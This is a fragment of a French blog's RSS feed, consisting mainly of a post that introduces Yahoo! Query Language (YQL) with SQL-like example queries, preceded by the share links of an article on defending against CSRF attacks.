	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&amp;partner=sociable" title="Print"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=pingfm&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&d=http://ping.fm/ref/?link=TARGET%26title=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection%26body=CSRF%20Injection%20%28Cross%20Site%20Request%20Forgeries%29%20est%20une%20classe%20d%27attaque%20propre%20aux%20applications%20WEB%20qui%20a%20toujours%20exist%C3%A9%20mais%20qui%20reste%20moins%20connue%21%20son%20exploitation%20par%20un%20attaquant%20malveillant%20peut%20avoir%20des%20cons%C3%A9quences%20dramatique%20sur%20un%20syst%C3%A8" title="Ping.fm"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/ping.png" title="Ping.fm" alt="Ping.fm" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=mailto&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&d=mailto:?subject=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection%26body=TARGET" title="email"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://posterous.com/share?linkto=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&amp;title=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection&amp;selection=CSRF%20Injection%20%28Cross%20Site%20Request%20Forgeries%29%20est%20une%20classe%20d%27attaque%20propre%20aux%20applications%20WEB%20qui%20a%20toujours%20exist%C3%A9%20mais%20qui%20reste%20moins%20connue%21%20son%20exploitation%20par%20un%20attaquant%20malveillant%20peut%20avoir%20des%20cons%C3%A9quences%20dramatique%20sur%20un%20syst%C3%A8" title="Posterous"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/posterous.png" title="Posterous" alt="Posterous" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&amp;title=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection" title="Reddit"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/reddit.png" title="Reddit" alt="Reddit" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://buzz.yahoo.com/submit/?submitUrl=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&amp;submitHeadline=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection&amp;submitSummary=CSRF%20Injection%20%28Cross%20Site%20Request%20Forgeries%29%20est%20une%20classe%20d%27attaque%20propre%20aux%20applications%20WEB%20qui%20a%20toujours%20exist%C3%A9%20mais%20qui%20reste%20moins%20connue%21%20son%20exploitation%20par%20un%20attaquant%20malveillant%20peut%20avoir%20des%20cons%C3%A9quences%20dramatique%20sur%20un%20syst%C3%A8&amp;submitCategory=science&amp;submitAssetType=text" title="Yahoo! Buzz"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/yahoobuzz.png" title="Yahoo! Buzz" alt="Yahoo! Buzz" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&amp;partner=sociable" title="PDF"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/pdf.png" title="PDF" alt="PDF" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/feed" title="RSS"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.diigo.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&amp;title=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection" title="Diigo"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/diigo.png" title="Diigo" alt="Diigo" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cgi.fark.com/cgi/fark/farkit.pl?h=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection&amp;u=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html" title="Fark"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/fark.png" title="Fark" alt="Fark" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.blogospherenews.com/submit.php?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&amp;title=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection" title="Blogosphere News"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogospherenews.png" title="Blogosphere News" alt="Blogosphere News" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cimlap.blogter.hu/index.php?action=suggest_link&amp;title=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html" title="blogtercimlap"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogter.png" title="blogtercimlap" alt="blogtercimlap" class="sociable-hovers" /></a>


<br/><br/>
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mcherifi.org/hacking/les-attaques-csrf-injection.html/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Introduction à Yahoo! Query Language (YQL)</title>
		<link>http://www.mcherifi.org/developpement-web/yql-yahoo-query-language.html</link>
		<comments>http://www.mcherifi.org/developpement-web/yql-yahoo-query-language.html#comments</comments>
		<pubDate>Tue, 28 Jul 2009 17:31:24 +0000</pubDate>
		<dc:creator>Mohammed CHERIFI</dc:creator>
				<category><![CDATA[Développement WEB]]></category>
		<category><![CDATA[api]]></category>
		<category><![CDATA[webservice]]></category>
		<category><![CDATA[yahoo query language]]></category>
		<category><![CDATA[yql]]></category>

		<guid isPermaLink="false">http://www.mcherifi.org/?p=53</guid>
		<description><![CDATA[Yahoo! Query Language, baptisé YQL est un nouveau langage développé par Yahoo, semblable à SQL, ce dernier permet d'effectuer des requêtes ordonner, filtrer et combiner des données en provenance de tout le réseau internet et "Web Services" ! Ces informations sont récupérées sous format XML ou JSON !

En effet,  pour développer une application qui utilise un WEB service, les développeurs sont souvent amenés à reconnaitre les bons URL d'APIs et recourir à la documentation pour faire appel à chacun de ces derniers , sans oublier de rester prévisible à une future modification de ces derniers,  d'où l'intérêt de YML ;)]]></description>
			<content:encoded><![CDATA[<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.mcherifi.org/developpement-web/yql-yahoo-query-language.html" data-text="Introduction à Yahoo! Query Language (YQL)" data-count="horizontal">Tweet</a><div id="attachment_55" class="wp-caption alignleft" style="width: 138px"><img class="size-full wp-image-55" title="yql128" src="http://www.mcherifi.org/wp-content/uploads/2009/07/yql128.gif" alt="Yahoo! Query Language" width="128" height="128" /><p class="wp-caption-text">Yahoo! Query Language</p></div>
<p>Yahoo! Query Language, baptisé YQL est un nouveau langage développé par Yahoo, semblable à SQL, ce dernier permet d&#8217;effectuer des requêtes, ordonner, filtrer et combiner des données en provenance de tout le réseau internet et &laquo;&nbsp;Web Services&nbsp;&raquo; ! Ces informations sont récupérées sous format XML ou JSON !</p>
<p>En effet,  pour développer une application qui utilise un WEB service, les développeurs sont souvent amenés à reconnaitre les bons URL d&#8217;APIs et recourir à la documentation pour faire appel à chacun de ces derniers , sans oublier de rester prévisible à une future modification de ces derniers,  d&#8217;où l&#8217;intérêt de YQL ;)</p>
<p>L&#8217;idée derrière la création de ce nouveau langage est de faciliter aux développeurs l&#8217;accès aux services web, ainsi ils peuvent accéder et récupérer facilement les données  via un seul langage sans se référer aux différents APIs, notre ami Yahoo s&#8217;occupera des mises à jours si il y en aura!</p>
<p>Les fichiers de base de données YQL sont en fait de gros fichiers XML qu&#8217;on peut interroger facilement via une seule ligne, et comme c&#8217;est ouvert tout utilisateur peut proposer sa base YQL!</p>
<p>J&#8217;ai eu le temps de faire un tour sur le site de YQL, et ce que je trouve avantageux dans ce nouveau langage est sa facilité d&#8217;utilisation du fait qu&#8217;il est basé sur des instructions similaires à SQL comme SELECT, DESC, SHOW..</p>
<p><strong>Quelques exemples de commande YQL:</strong></p>
<p>Récupérer les informations géographiques de la ville de Rabat (Maroc):</p>
<pre class="brush: sql">select * from geo.places where text=&quot;Rabat&quot;</pre>
<p>Récupérer les références des photos sur flickr contant le text &laquo;&nbsp;Maroc&nbsp;&raquo;</p>
<pre class="brush: sql">select * from flickr.photos.search where has_geo=&quot;true&quot; and text=&quot;Maroc&quot;</pre>
<p>Pour interroger une base YQL externe il suffit de l&#8217;appeler avec la command <strong>use</strong> !</p>
<p>Exemple pour récupérer les derniers twitts de mcherifi:</p>
<pre class="brush: sql">use &#039;http://github.com/spullara/yql-tables/raw/a2f518a10ccdca99658f14bee9101b77d7b4cf08/twitter/twitter.user.status.xml&#039; as twittertable;
select * from twittertable where id=&#039;mcherifi&#039;;</pre>
<p>On définit la source de la base YQL distance avec la commande &laquo;&nbsp;use&nbsp;&raquo;, on donne un alias à cette dernière grâce à &laquo;&nbsp;AS&nbsp;&raquo; et on effectue notre sélection, à noter que le nom des champs n&#8217;est pas toujours le même et on peut le connaitre avec la commande : DESC nom_table</p>
<p>Il est également possible de faire des jointures et utiliser des sous requêtes, par exemple cette requête recherche tous les événements depuis Yahoo Events dont le texte contient &laquo;&nbsp;Morocco&nbsp;&raquo;</p>
<pre class="brush: sql">select name,start_date from upcoming.events where woeid in (select woeid from geo.places where text=&quot;Morocco&quot;) | sort(field=&quot;start_date&quot;)</pre>
<p>Yahoo a également introduit les commandes de manipulation de données (INSERT/UPDATE/DELETE) que je détaillerai dans un prochain billet.</p>
<p>Vous pouvez vous amuser à découvrir ce nouveau langage en vous rendant sur la console YQL sur cette adresse : http://developer.yahoo.com/yql/console/</p>
<p>Je vous invite également à visiter <a href="http://developer.yahoo.com/yql/console/">le site de YQL</a>, qui est à mon avis un projet prometteur qui fera évoluer le web!</p>



Partager cet article:


	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=twitter&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fyql-yahoo-query-language.html&d=http://twitter.com/home?status=Introduction%20%C3%A0%20Yahoo%21%20Query%20Language%20%28YQL%29%20-%20TARGET" title="Twitter"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=facebook-post&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fyql-yahoo-query-language.html&d=http://www.facebook.com/share.php?u=TARGET%26t=Introduction%20%C3%A0%20Yahoo%21%20Query%20Language%20%28YQL%29" title="Facebook"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fyql-yahoo-query-language.html&amp;title=Introduction%20%C3%A0%20Yahoo%21%20Query%20Language%20%28YQL%29&amp;annotation=Yahoo%21%20Query%20Language%2C%20baptis%C3%A9%20YQL%20est%20un%20nouveau%20langage%20d%C3%A9velopp%C3%A9%20par%20Yahoo%2C%20semblable%20%C3%A0%20SQL%2C%20ce%20dernier%20permet%20d%27effectuer%20des%20requ%C3%AAtes%20ordonner%2C%20filtrer%20et%20combiner%20des%20donn%C3%A9es%20en%20provenance%20de%20tout%20le%20r%C3%A9seau%20internet%20et%20%22Web%20Services%22%20%21%20Ces%20informations%20sont%20r%C3%A9cup%C3%A9r%C3%A9es%20sous%20format%20XML%20ou%20JSON%20%21%0D%0A%0D%0AEn%20effet%2C%20%20pour%20d%C3%A9velopper%20une%20application%20qui%20utilise%20un%20WEB%20service%2C%20les%20d%C3%A9veloppeurs%20sont%20souvent%20amen%C3%A9s%20%C3%A0%20reconnaitre%20les%20bons%20URL%20d%27APIs%20et%20recourir%20%C3%A0%20la%20documentation%20pour%20faire%20appel%20%C3%A0%20chacun%20de%20ces%20derniers%20%2C%20sans%20oublier%20de%20rester%20pr%C3%A9visible%20%C3%A0%20une%20future%20modification%20de%20ces%20derniers%2C%20%20d%27o%C3%B9%20l%27int%C3%A9r%C3%AAt%20de%20YML%20%3B%29" title="Google Bookmarks"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://delicious.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fyql-yahoo-query-language.html&amp;title=Introduction%20%C3%A0%20Yahoo%21%20Query%20Language%20%28YQL%29&amp;notes=Yahoo%21%20Query%20Language%2C%20baptis%C3%A9%20YQL%20est%20un%20nouveau%20langage%20d%C3%A9velopp%C3%A9%20par%20Yahoo%2C%20semblable%20%C3%A0%20SQL%2C%20ce%20dernier%20permet%20d%27effectuer%20des%20requ%C3%AAtes%20ordonner%2C%20filtrer%20et%20combiner%20des%20donn%C3%A9es%20en%20provenance%20de%20tout%20le%20r%C3%A9seau%20internet%20et%20%22Web%20Services%22%20%21%20Ces%20informations%20sont%20r%C3%A9cup%C3%A9r%C3%A9es%20sous%20format%20XML%20ou%20JSON%20%21%0D%0A%0D%0AEn%20effet%2C%20%20pour%20d%C3%A9velopper%20une%20application%20qui%20utilise%20un%20WEB%20service%2C%20les%20d%C3%A9veloppeurs%20sont%20souvent%20amen%C3%A9s%20%C3%A0%20reconnaitre%20les%20bons%20URL%20d%27APIs%20et%20recourir%20%C3%A0%20la%20documentation%20pour%20faire%20appel%20%C3%A0%20chacun%20de%20ces%20derniers%20%2C%20sans%20oublier%20de%20rester%20pr%C3%A9visible%20%C3%A0%20une%20future%20modification%20de%20ces%20derniers%2C%20%20d%27o%C3%B9%20l%27int%C3%A9r%C3%AAt%20de%20YML%20%3B%29" title="del.icio.us"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.netvibes.com/share?title=Introduction%20%C3%A0%20Yahoo%21%20Query%20Language%20%28YQL%29&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fyql-yahoo-query-language.html" title="Netvibes"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/netvibes.png" title="Netvibes" alt="Netvibes" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.viadeo.com/shareit/share/?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fyql-yahoo-query-language.html&title=Introduction%20%C3%A0%20Yahoo%21%20Query%20Language%20%28YQL%29&urllanguage=fr" title="viadeo FR"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/viadeo.png" title="viadeo FR" alt="viadeo FR" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fyql-yahoo-query-language.html&amp;title=Introduction%20%C3%A0%20Yahoo%21%20Query%20Language%20%28YQL%29&amp;bodytext=Yahoo%21%20Query%20Language%2C%20baptis%C3%A9%20YQL%20est%20un%20nouveau%20langage%20d%C3%A9velopp%C3%A9%20par%20Yahoo%2C%20semblable%20%C3%A0%20SQL%2C%20ce%20dernier%20permet%20d%27effectuer%20des%20requ%C3%AAtes%20ordonner%2C%20filtrer%20et%20combiner%20des%20donn%C3%A9es%20en%20provenance%20de%20tout%20le%20r%C3%A9seau%20internet%20et%20%22Web%20Services%22%20%21%20Ces%20informations%20sont%20r%C3%A9cup%C3%A9r%C3%A9es%20sous%20format%20XML%20ou%20JSON%20%21%0D%0A%0D%0AEn%20effet%2C%20%20pour%20d%C3%A9velopper%20une%20application%20qui%20utilise%20un%20WEB%20service%2C%20les%20d%C3%A9veloppeurs%20sont%20souvent%20amen%C3%A9s%20%C3%A0%20reconnaitre%20les%20bons%20URL%20d%27APIs%20et%20recourir%20%C3%A0%20la%20documentation%20pour%20faire%20appel%20%C3%A0%20chacun%20de%20ces%20derniers%20%2C%20sans%20oublier%20de%20rester%20pr%C3%A9visible%20%C3%A0%20une%20future%20modification%20de%20ces%20derniers%2C%20%20d%27o%C3%B9%20l%27int%C3%A9r%C3%AAt%20de%20YML%20%3B%29" title="Digg"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fyql-yahoo-query-language.html&amp;title=Introduction%20%C3%A0%20Yahoo%21%20Query%20Language%20%28YQL%29&amp;source=Mohammed+CHERIFI+Another+Web+Developper+Blog%21&amp;summary=Yahoo%21%20Query%20Language%2C%20baptis%C3%A9%20YQL%20est%20un%20nouveau%20langage%20d%C3%A9velopp%C3%A9%20par%20Yahoo%2C%20semblable%20%C3%A0%20SQL%2C%20ce%20dernier%20permet%20d%27effectuer%20des%20requ%C3%AAtes%20ordonner%2C%20filtrer%20et%20combiner%20des%20donn%C3%A9es%20en%20provenance%20de%20tout%20le%20r%C3%A9seau%20internet%20et%20%22Web%20Services%22%20%21%20Ces%20informations%20sont%20r%C3%A9cup%C3%A9r%C3%A9es%20sous%20format%20XML%20ou%20JSON%20%21%0D%0A%0D%0AEn%20effet%2C%20%20pour%20d%C3%A9velopper%20une%20application%20qui%20utilise%20un%20WEB%20service%2C%20les%20d%C3%A9veloppeurs%20sont%20souvent%20amen%C3%A9s%20%C3%A0%20reconnaitre%20les%20bons%20URL%20d%27APIs%20et%20recourir%20%C3%A0%20la%20documentation%20pour%20faire%20appel%20%C3%A0%20chacun%20de%20ces%20derniers%20%2C%20sans%20oublier%20de%20rester%20pr%C3%A9visible%20%C3%A0%20une%20future%20modification%20de%20ces%20derniers%2C%20%20d%27o%C3%B9%20l%27int%C3%A9r%C3%AAt%20de%20YML%20%3B%29" title="LinkedIn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://slashdot.org/bookmark.pl?title=Introduction%20%C3%A0%20Yahoo%21%20Query%20Language%20%28YQL%29&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fyql-yahoo-query-language.html" title="Slashdot"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/slashdot.png" title="Slashdot" alt="Slashdot" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://sphinn.com/index.php?c=post&amp;m=submit&amp;link=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fyql-yahoo-query-language.html" title="Sphinn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/sphinn.png" title="Sphinn" alt="Sphinn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mixx.com/submit?page_url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fyql-yahoo-query-language.html&amp;title=Introduction%20%C3%A0%20Yahoo%21%20Query%20Language%20%28YQL%29" title="Mixx"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/mixx.png" title="Mixx" alt="Mixx" class="sociable-hovers" /></a>
	<a  target="_blank" href="http://blogplay.com" title="Blogplay"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogplay.png" title="Blogplay" alt="Blogplay" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fyql-yahoo-query-language.html" title="Identi.ca"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fyql-yahoo-query-language.html&amp;partner=sociable" title="Print"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=pingfm&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fyql-yahoo-query-language.html&d=http://ping.fm/ref/?link=TARGET%26title=Introduction%20%C3%A0%20Yahoo%21%20Query%20Language%20%28YQL%29%26body=Yahoo%21%20Query%20Language%2C%20baptis%C3%A9%20YQL%20est%20un%20nouveau%20langage%20d%C3%A9velopp%C3%A9%20par%20Yahoo%2C%20semblable%20%C3%A0%20SQL%2C%20ce%20dernier%20permet%20d%27effectuer%20des%20requ%C3%AAtes%20ordonner%2C%20filtrer%20et%20combiner%20des%20donn%C3%A9es%20en%20provenance%20de%20tout%20le%20r%C3%A9seau%20internet%20et%20%22Web%20Services%22%20%21%20Ces%20informations%20sont%20r%C3%A9cup%C3%A9r%C3%A9es%20sous%20format%20XML%20ou%20JSON%20%21%0D%0A%0D%0AEn%20effet%2C%20%20pour%20d%C3%A9velopper%20une%20application%20qui%20utilise%20un%20WEB%20service%2C%20les%20d%C3%A9veloppeurs%20sont%20souvent%20amen%C3%A9s%20%C3%A0%20reconnaitre%20les%20bons%20URL%20d%27APIs%20et%20recourir%20%C3%A0%20la%20documentation%20pour%20faire%20appel%20%C3%A0%20chacun%20de%20ces%20derniers%20%2C%20sans%20oublier%20de%20rester%20pr%C3%A9visible%20%C3%A0%20une%20future%20modification%20de%20ces%20derniers%2C%20%20d%27o%C3%B9%20l%27int%C3%A9r%C3%AAt%20de%20YML%20%3B%29" title="Ping.fm"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/ping.png" title="Ping.fm" alt="Ping.fm" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=mailto&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fyql-yahoo-query-language.html&d=mailto:?subject=Introduction%20%C3%A0%20Yahoo%21%20Query%20Language%20%28YQL%29%26body=TARGET" title="email"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://posterous.com/share?linkto=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fyql-yahoo-query-language.html&amp;title=Introduction%20%C3%A0%20Yahoo%21%20Query%20Language%20%28YQL%29&amp;selection=Yahoo%21%20Query%20Language%2C%20baptis%C3%A9%20YQL%20est%20un%20nouveau%20langage%20d%C3%A9velopp%C3%A9%20par%20Yahoo%2C%20semblable%20%C3%A0%20SQL%2C%20ce%20dernier%20permet%20d%27effectuer%20des%20requ%C3%AAtes%20ordonner%2C%20filtrer%20et%20combiner%20des%20donn%C3%A9es%20en%20provenance%20de%20tout%20le%20r%C3%A9seau%20internet%20et%20%22Web%20Services%22%20%21%20Ces%20informations%20sont%20r%C3%A9cup%C3%A9r%C3%A9es%20sous%20format%20XML%20ou%20JSON%20%21%0D%0A%0D%0AEn%20effet%2C%20%20pour%20d%C3%A9velopper%20une%20application%20qui%20utilise%20un%20WEB%20service%2C%20les%20d%C3%A9veloppeurs%20sont%20souvent%20amen%C3%A9s%20%C3%A0%20reconnaitre%20les%20bons%20URL%20d%27APIs%20et%20recourir%20%C3%A0%20la%20documentation%20pour%20faire%20appel%20%C3%A0%20chacun%20de%20ces%20derniers%20%2C%20sans%20oublier%20de%20rester%20pr%C3%A9visible%20%C3%A0%20une%20future%20modification%20de%20ces%20derniers%2C%20%20d%27o%C3%B9%20l%27int%C3%A9r%C3%AAt%20de%20YML%20%3B%29" title="Posterous"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/posterous.png" title="Posterous" alt="Posterous" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fyql-yahoo-query-language.html&amp;title=Introduction%20%C3%A0%20Yahoo%21%20Query%20Language%20%28YQL%29" title="Reddit"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/reddit.png" title="Reddit" alt="Reddit" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://buzz.yahoo.com/submit/?submitUrl=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fyql-yahoo-query-language.html&amp;submitHeadline=Introduction%20%C3%A0%20Yahoo%21%20Query%20Language%20%28YQL%29&amp;submitSummary=Yahoo%21%20Query%20Language%2C%20baptis%C3%A9%20YQL%20est%20un%20nouveau%20langage%20d%C3%A9velopp%C3%A9%20par%20Yahoo%2C%20semblable%20%C3%A0%20SQL%2C%20ce%20dernier%20permet%20d%27effectuer%20des%20requ%C3%AAtes%20ordonner%2C%20filtrer%20et%20combiner%20des%20donn%C3%A9es%20en%20provenance%20de%20tout%20le%20r%C3%A9seau%20internet%20et%20%22Web%20Services%22%20%21%20Ces%20informations%20sont%20r%C3%A9cup%C3%A9r%C3%A9es%20sous%20format%20XML%20ou%20JSON%20%21%0D%0A%0D%0AEn%20effet%2C%20%20pour%20d%C3%A9velopper%20une%20application%20qui%20utilise%20un%20WEB%20service%2C%20les%20d%C3%A9veloppeurs%20sont%20souvent%20amen%C3%A9s%20%C3%A0%20reconnaitre%20les%20bons%20URL%20d%27APIs%20et%20recourir%20%C3%A0%20la%20documentation%20pour%20faire%20appel%20%C3%A0%20chacun%20de%20ces%20derniers%20%2C%20sans%20oublier%20de%20rester%20pr%C3%A9visible%20%C3%A0%20une%20future%20modification%20de%20ces%20derniers%2C%20%20d%27o%C3%B9%20l%27int%C3%A9r%C3%AAt%20de%20YML%20%3B%29&amp;submitCategory=science&amp;submitAssetType=text" title="Yahoo! Buzz"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/yahoobuzz.png" title="Yahoo! Buzz" alt="Yahoo! Buzz" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fyql-yahoo-query-language.html&amp;partner=sociable" title="PDF"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/pdf.png" title="PDF" alt="PDF" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/feed" title="RSS"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.diigo.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fyql-yahoo-query-language.html&amp;title=Introduction%20%C3%A0%20Yahoo%21%20Query%20Language%20%28YQL%29" title="Diigo"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/diigo.png" title="Diigo" alt="Diigo" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cgi.fark.com/cgi/fark/farkit.pl?h=Introduction%20%C3%A0%20Yahoo%21%20Query%20Language%20%28YQL%29&amp;u=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fyql-yahoo-query-language.html" title="Fark"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/fark.png" title="Fark" alt="Fark" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.blogospherenews.com/submit.php?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fyql-yahoo-query-language.html&amp;title=Introduction%20%C3%A0%20Yahoo%21%20Query%20Language%20%28YQL%29" title="Blogosphere News"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogospherenews.png" title="Blogosphere News" alt="Blogosphere News" class="sociable-hovers" /></a>
